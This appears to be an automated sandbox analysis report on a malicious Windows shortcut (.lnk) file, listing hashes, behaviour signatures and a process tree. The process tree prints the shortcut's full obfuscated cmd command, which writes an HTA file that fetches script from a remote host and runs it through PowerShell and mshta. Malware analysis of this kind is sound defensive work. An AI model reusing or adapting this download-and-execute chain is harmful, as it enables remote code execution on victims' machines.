Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-04-2024 14:22

General

  • Target

    599151.301.25077.7868139.lnk

  • Size

    561B

  • MD5

    57050773638b46dfc5f60930cd1cb266

  • SHA1

    3219f88ea28c525eb35050939d2ecb01d6fa7282

  • SHA256

    7ae01fd7aa0b5898eb36548024f2cc8156216322ea6402eb8f04180adfc9539d

  • SHA512

    181885faf9a655befaa6755fd003fd674e1ccf201c6718e9693754f4d5704230d62982430997b9dd85eee9f9139997cd67ea7c9c171f91f245eaa497e9796712

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\599151.301.25077.7868139.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:812
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /V/D/c "seT sKk=script&&seT px=powershell&&SEt NEGG=C:\Users\Public\Videos\^YqW&&SEt SMO=.H&&SEt XQGZ=^<!sKk!^>try{v6POar c='!sKk!:';d='h6POTtP:';G6POetObj6POect(c+d+'&&sET FIC=ZXEFMZXEFMwaa8.nolii.dateZXEFM?1ZXEFM');}catch(e){}close();^</!sKk!^>&&sEt/^p YE8N="%XQGZ:6PO=%%FIC:ZXEFM=/%"<nul > %NEGG%%SMO%ta|!px! -Command "& '!NEGG!!SMO!ta' "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1420
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" sEt/p YE8N="%XQGZ:6PO=%%FIC:ZXEFM=/%" 0<nul 1>%NEGG%%SMO%ta"
        3⤵
          PID:212
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "& 'C:\Users\Public\Videos\YqW.Hta'
          3⤵
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:116
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Public\Videos\YqW.Hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
            4⤵
              PID:2772

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jgxhqgtt.ves.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Public\Videos\YqW.Hta

        Filesize

        105B

        MD5

        8242e1808eac09b7264a697fc98c2f37

        SHA1

        34a5dca8f5eeb3edb9a73f0e544be74049506325

        SHA256

        c43738a850d1ae9d59f39d592cdc3faca6a327735dbaaa9c979b5036dba72937

        SHA512

        09906f3479661b52fe980e54cca55bbe67aa5a01c912d414d77fe11e6eb7ed6a3c4c5ae5abb991734e657219a8a7164d655a2106913330cea9a7014746f29d6d

      • memory/116-3-0x000001B0733F0000-0x000001B073412000-memory.dmp

        Filesize

        136KB

      • memory/116-13-0x00007FFB42A00000-0x00007FFB434C1000-memory.dmp

        Filesize

        10.8MB

      • memory/116-14-0x000001B0733B0000-0x000001B0733C0000-memory.dmp

        Filesize

        64KB

      • memory/116-15-0x000001B0733B0000-0x000001B0733C0000-memory.dmp

        Filesize

        64KB

      • memory/116-19-0x00007FFB42A00000-0x00007FFB434C1000-memory.dmp

        Filesize

        10.8MB